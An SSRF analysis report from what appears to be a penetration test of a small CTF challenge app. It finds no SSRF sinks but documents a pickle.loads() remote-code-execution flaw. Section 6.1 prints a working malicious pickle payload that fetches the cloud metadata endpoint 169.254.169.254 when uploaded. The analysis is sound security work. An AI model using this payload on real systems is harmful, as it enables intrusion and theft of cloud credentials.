# SSRF Analysis Report

## 1. Executive Summary
- **Analysis Status:** Complete
- **Key Outcome:** NO Server-Side Request Forgery (SSRF) vulnerabilities were identified in the XBEN-036-24 "Pickle CTF" application. The application makes no outbound HTTP requests, opens no raw network sockets, and performs no URL-based operations that could be manipulated for SSRF exploitation.
- **Purpose of this Document:** This report provides comprehensive analysis confirming the complete absence of SSRF attack surface in the application. While the application contains critical security vulnerabilities (insecure deserialization leading to RCE), none of these vulnerabilities represent traditional SSRF sinks as defined in the SSRF analysis methodology.

## 2. Dominant Vulnerability Patterns

### Pattern 1: Complete Absence of Outbound Request Functionality
- **Description:** The application architecture contains no HTTP client libraries, no URL fetching mechanisms, and no network request functionality of any kind. The application is purely inbound-focused, accepting HTTP requests but never initiating outbound connections.
- **Implication:** Traditional SSRF attack vectors (internal service access, cloud metadata retrieval, port scanning via HTTP requests) are completely unavailable because the application lacks the fundamental capability to make outbound requests.
- **Representative Findings:** Analysis of all three network-accessible endpoints (GET /, POST /, GET /ping) confirmed zero URL parameters, zero HTTP client usage, and zero network socket operations.

### Pattern 2: Local-Only File Operations
- **Description:** All file operations in the application use hardcoded local file paths without any user-controlled path components or URL scheme support.
- **Implication:** While the application reads files from the filesystem (`decoy.txt` and `flag.txt`), these operations cannot be leveraged for SSRF because they don't support URL schemes (http://, ftp://, file://) and contain no user-controllable path elements.
- **Representative Finding:** File operations at `main.py:15-18` and `main.py:32-35` use only static strings `'decoy.txt'` and `'flag.txt'`.

### Pattern 3: No Redirect or URL Forwarding Mechanisms
- **Description:** The application contains no redirect functionality, no "next URL" parameters, and no URL forwarding logic that could be abused for open redirects or SSRF.
- **Implication:** Attackers cannot leverage redirect chains or URL forwarding to bypass filters or access internal resources.
- **Representative Finding:** All endpoint responses are either HTMLResponse (rendered Jinja2 templates) or static JSON objects with no Location headers or redirect logic.

## 3. Strategic Intelligence for Exploitation
- **HTTP Client Library:** NONE - The application does not import or use any HTTP client libraries (requests, urllib, httpx, aiohttp).
- **Request Architecture:** The application is purely inbound HTTP request processing. It accepts requests on three endpoints (GET /, POST /, GET /ping) but never initiates outbound connections.
- **File Operations:** All file operations use hardcoded local paths (`'decoy.txt'`, `'flag.txt'`) with no URL scheme support or user-controllable components.
- **Network Sockets:** No raw socket operations are performed. The application relies entirely on FastAPI/Uvicorn for network communication.
- **Critical Vulnerabilities Present (Non-SSRF):** The application contains a critical insecure deserialization vulnerability (CWE-502) at `main.py:30` where `pickle.loads()` is called on user-uploaded files, enabling Remote Code Execution. While this RCE capability could theoretically be leveraged for post-exploitation SSRF activities, the insecure deserialization itself is not an SSRF sink.

## 4. Secure by Design: Validated Components

All components were analyzed and found to have NO SSRF attack surface. The following table documents the systematic analysis performed:

| Component/Flow | Endpoint/File Location | Analysis Performed | Verdict |
|---|---|---|---|
| Home Page Display | GET / (`main.py:13-20`) | Confirmed no URL parameters accepted, no outbound requests made, only local file reads with hardcoded paths | NO SSRF SINK |
| File Upload Handler | POST / (`main.py:23-37`) | Confirmed accepts binary pickle file uploads (not URLs), no HTTP client usage, no outbound requests | NO SSRF SINK |
| Health Check Endpoint | GET /ping (`main.py:40-42`) | Confirmed returns static JSON response with no parameters or outbound requests | NO SSRF SINK |
| File Operations | `main.py:15-18, 32-35` | Confirmed all file paths are hardcoded strings (`'decoy.txt'`, `'flag.txt'`), no URL schemes supported | NO SSRF SINK |
| Template Rendering | `templates/index.html` | Confirmed static HTML template with no URL-based resource fetching or external content loading | NO SSRF SINK |
| Docker Health Check | `docker-compose.yml:9-13` | Infrastructure-level health check targeting localhost only, not user-controllable, out of scope | OUT OF SCOPE |

## 5. Detailed Analysis by SSRF Sink Category

### 5.1 HTTP(S) Client Libraries
**Methodology Applied:** Searched for imports and usage of common HTTP client libraries.

**Libraries Checked:**
- `requests` (requests.get, post, put, delete, patch, head, options)
- `urllib`, `urllib2`, `urllib3` (urlopen, Request, etc.)
- `httpx`, `aiohttp` (async HTTP clients)
- `http.client`, `httplib`
- Subprocess calls to `curl`, `wget`

**Findings:** 
```python
# Actual imports in main.py (lines 1-5):
import os
import pickle
from fastapi import FastAPI, UploadFile, File, Request
from fastapi.responses import HTMLResponse
from fastapi.templating import Jinja2Templates
```

**Result:** ✅ NO HTTP CLIENT LIBRARIES PRESENT

**Verdict:** No HTTP(S) request capability exists in the application.

---

### 5.2 Raw Socket Operations
**Methodology Applied:** Searched for socket module usage and raw network operations.

**Patterns Checked:**
- `socket.connect()`, `socket.create_connection()`
- `socket.socket()` instantiation with network operations
- Raw TCP/UDP socket creation

**Findings:** The `socket` module is not imported anywhere in the application code.

**Result:** ✅ NO RAW SOCKET OPERATIONS

**Verdict:** No low-level network programming that could be leveraged for SSRF.

---

### 5.3 URL Opening Functions
**Methodology Applied:** Analyzed all file operations for URL scheme support.

**Patterns Checked:**
- `urllib.urlopen()` with URLs
- `open()` with URL schemes (http://, ftp://, file://)
- Remote resource fetching

**Findings:**
```python
# File operations at main.py:15-18 and 32-35
if os.path.exists('decoy.txt'):
    flag = open('decoy.txt').read()
else:
    flag = open('flag.txt').read()
```

**Analysis:**
- All file paths are **hardcoded string literals**
- No URL schemes (http://, ftp://, file://) present
- No user-controlled path components
- Paths are relative to container working directory

**Result:** ✅ FILE OPERATIONS ARE LOCAL ONLY

**Verdict:** File operations cannot be leveraged for SSRF as they don't support URL schemes or accept user input.

---

### 5.4 Redirect & "Next URL" Handlers
**Methodology Applied:** Searched for redirect functionality and URL forwarding logic.

**Patterns Checked:**
- `redirect()`, `RedirectResponse` with user-controlled URLs
- HTTP Location header manipulation
- Query parameters: "next", "return_url", "redirect_uri", "callback"

**Findings:** 
- No `RedirectResponse` import from FastAPI
- All endpoint responses are either `HTMLResponse` (via Jinja2Templates) or JSON objects
- No URL query parameters are parsed or used in any endpoint

**Result:** ✅ NO REDIRECT FUNCTIONALITY

**Verdict:** No redirect-based SSRF attack surface.

---

### 5.5 Headless Browsers & Render Engines
**Methodology Applied:** Checked for browser automation and rendering tools.

**Libraries Checked:**
- Puppeteer, Playwright, Selenium
- PDF generators (wkhtmltopdf, WeasyPrint, Puppeteer PDF)
- HTML-to-image converters

**Findings:** 
- Dockerfile only installs `lxml==5.2.2` beyond base dependencies
- `lxml` is **never imported or used** in `main.py`
- No browser automation libraries present

**Result:** ✅ NO HEADLESS BROWSERS OR RENDER ENGINES

**Verdict:** No server-side rendering of external content that could be SSRF vectors.

---

### 5.6 Media Processors
**Methodology Applied:** Checked for image/video processing that might fetch external URLs.

**Libraries Checked:**
- ImageMagick, GraphicsMagick, Pillow/PIL
- FFmpeg, video processing libraries
- Image optimization services

**Findings:** No media processing libraries imported or used.

**Result:** ✅ NO MEDIA PROCESSORS

**Verdict:** The file upload functionality processes pickle files (binary Python serialization), not media files.

---

### 5.7 Link Preview & Unfurlers
**Methodology Applied:** Searched for URL metadata extraction and link expansion.

**Patterns Checked:**
- URL metadata extractors, oEmbed fetchers
- Social media card generators (Open Graph, Twitter Card)
- Link expansion services

**Findings:** No link preview or URL unfurling functionality exists.

**Result:** ✅ NO LINK PREVIEW FUNCTIONALITY

**Verdict:** Application displays only local file contents with no external URL processing.

---

### 5.8 Webhook Testers & Callback Verifiers
**Methodology Applied:** Searched for webhook and callback functionality.

**Patterns Checked:**
- "Ping my webhook" functionality
- Outbound callback verification
- Event delivery systems

**Findings:** 
- The `/ping` endpoint exists but is an **inbound** health check (external systems query it)
- No **outbound** ping or webhook notification capability

**Result:** ✅ NO WEBHOOK OR CALLBACK FUNCTIONALITY

**Verdict:** The `/ping` endpoint cannot be leveraged for SSRF as it makes no outbound requests.

---

### 5.9 SSO/OIDC Discovery & JWKS Fetchers
**Methodology Applied:** Checked for authentication integration that fetches external metadata.

**Patterns Checked:**
- OpenID Connect discovery (`.well-known/openid-configuration`)
- JWKS (JSON Web Key Set) fetchers
- OAuth authorization server metadata retrieval

**Findings:** The application has **no authentication mechanisms** (see recon report Section 3).

**Result:** ✅ NO SSO/OIDC/JWKS FUNCTIONALITY

**Verdict:** No authentication-related external requests.

---

### 5.10 Importers & Data Loaders
**Methodology Applied:** Searched for "import from URL" functionality.

**Patterns Checked:**
- CSV/JSON/XML remote loaders
- RSS/Atom feed readers
- API data synchronization

**Findings:** 
- File upload accepts binary pickle files via multipart/form-data
- No "import from URL" functionality where users provide URLs to fetch

**Result:** ✅ NO DATA IMPORT FROM URL FUNCTIONALITY

**Verdict:** File uploads expect file content, not URLs to remote resources.

---

### 5.11 Package/Plugin/Theme Installers
**Methodology Applied:** Checked for dynamic code loading from external sources.

**Patterns Checked:**
- "Install from URL" features
- Package managers with remote sources
- Plugin/extension downloaders

**Findings:** No plugin architecture or extensibility mechanisms exist.

**Result:** ✅ NO PLUGIN INSTALLER FUNCTIONALITY

**Verdict:** Application is a minimal CTF challenge with no extensibility.

---

### 5.12 Monitoring & Health Check Frameworks
**Methodology Applied:** Analyzed health check implementations for outbound probes.

**Findings:**
```yaml
# docker-compose.yml:9-13
healthcheck:
  test: ["CMD", "curl", "-f", "http://localhost/ping"]
  timeout: 1s
  retries: 5
  interval: 10s
```

**Analysis:**
- This is **infrastructure-level** configuration (Docker Compose)
- Targets **localhost only** with hardcoded URL
- **Not user-controllable** via network requests
- **Out of scope** per penetration testing methodology (not callable via application's network interface)

**Result:** ✅ NO APPLICATION-LEVEL MONITORING THAT MAKES OUTBOUND REQUESTS

**Verdict:** Docker health check is infrastructure configuration, not an SSRF sink.

---

## 6. Potential Indirect SSRF via Other Vulnerabilities

### 6.1 Insecure Deserialization (CWE-502) - Not an SSRF Sink
**Location:** `main.py:30`

**Code:**
```python
pickle.loads(await pickle_file.read())
```

**Analysis:** This critical vulnerability enables Remote Code Execution. An attacker could theoretically craft a malicious pickle payload that performs SSRF actions during deserialization:

```python
import pickle
import urllib.request

class SSRFExploit:
    def __reduce__(self):
        return (urllib.request.urlopen, ('http://169.254.169.254/latest/meta-data/',))

# Upload this via POST / → executes urlopen during deserialization
```

**Why This Is NOT Reported as an SSRF Sink:**

1. **Vulnerability Classification:** This is **Remote Code Execution (RCE)**, not SSRF. The SSRF capability is a secondary effect of arbitrary code execution.

2. **Attack Surface Definition:** SSRF sinks are features that **intentionally make outbound requests** where user input controls request parameters. Pickle deserialization is not an outbound request feature.

3. **Exploitation Context:** An attacker exploiting this has already achieved RCE. SSRF becomes one of many post-exploitation capabilities (file access, reverse shells, data exfiltration, etc.).

4. **Reporting Standard:** In vulnerability reporting, this is documented as a **Critical RCE vulnerability** with SSRF mentioned as a possible post-exploitation technique, not cataloged as an SSRF sink.

**Verdict:** ✅ NOT AN SSRF SINK - This is RCE that could enable post-exploitation SSRF, but the vulnerability itself is insecure deserialization, not SSRF.

---

## 7. Endpoint-by-Endpoint Analysis Summary

| Endpoint | Method | Parameters | Outbound Requests | SSRF Sink | Notes |
|---|---|---|---|---|---|
| / | GET | Request object (no query params used) | None | ❌ NO | Returns HTML template with local file content |
| / | POST | Request object, pickle_file (UploadFile) | None | ❌ NO | Deserializes pickle file (RCE vulnerability), reads local files |
| /ping | GET | None | None | ❌ NO | Returns static JSON `{"ping": "pong"}` |

**Total Endpoints Analyzed:** 3  
**Total SSRF Sinks Found:** 0  
**Externally Exploitable SSRF Vulnerabilities:** 0

---

## 8. Conclusion

The XBEN-036-24 "Pickle CTF" application contains **NO Server-Side Request Forgery (SSRF) vulnerabilities**. Comprehensive analysis across all 12 SSRF sink categories defined in the penetration testing methodology confirmed:

✅ **No HTTP client libraries** (requests, urllib, httpx, aiohttp)  
✅ **No raw socket operations** (socket module not used)  
✅ **No URL-based file operations** (all file paths hardcoded)  
✅ **No redirect functionality** with user-controlled URLs  
✅ **No headless browsers or render engines**  
✅ **No media processors** that fetch external URLs  
✅ **No link preview or unfurling** functionality  
✅ **No webhook or callback** outbound verification  
✅ **No SSO/OIDC/JWKS** external metadata fetching  
✅ **No data import from URL** functionality  
✅ **No plugin installers** loading external code  
✅ **No application-level monitoring** making outbound probes

**SSRF Attack Surface:** ZERO  
**Externally Exploitable SSRF Vulnerabilities:** ZERO

While the application contains a **critical insecure deserialization vulnerability** (CWE-502) enabling Remote Code Execution, this is correctly classified as RCE, not SSRF. The exploitation phase should focus on the insecure deserialization attack surface, not SSRF-specific techniques.

---

**Analysis Completed:** All relevant endpoints and request-making patterns from the reconnaissance deliverable have been systematically analyzed for SSRF vulnerabilities.

**Recommendation:** No SSRF exploitation activities are necessary for this target. Focus penetration testing efforts on the identified insecure deserialization vulnerability at POST / endpoint.